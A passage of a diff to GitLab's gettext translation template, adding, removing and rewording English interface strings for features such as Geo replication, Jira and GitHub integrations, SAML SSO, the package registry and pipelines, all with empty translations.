+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
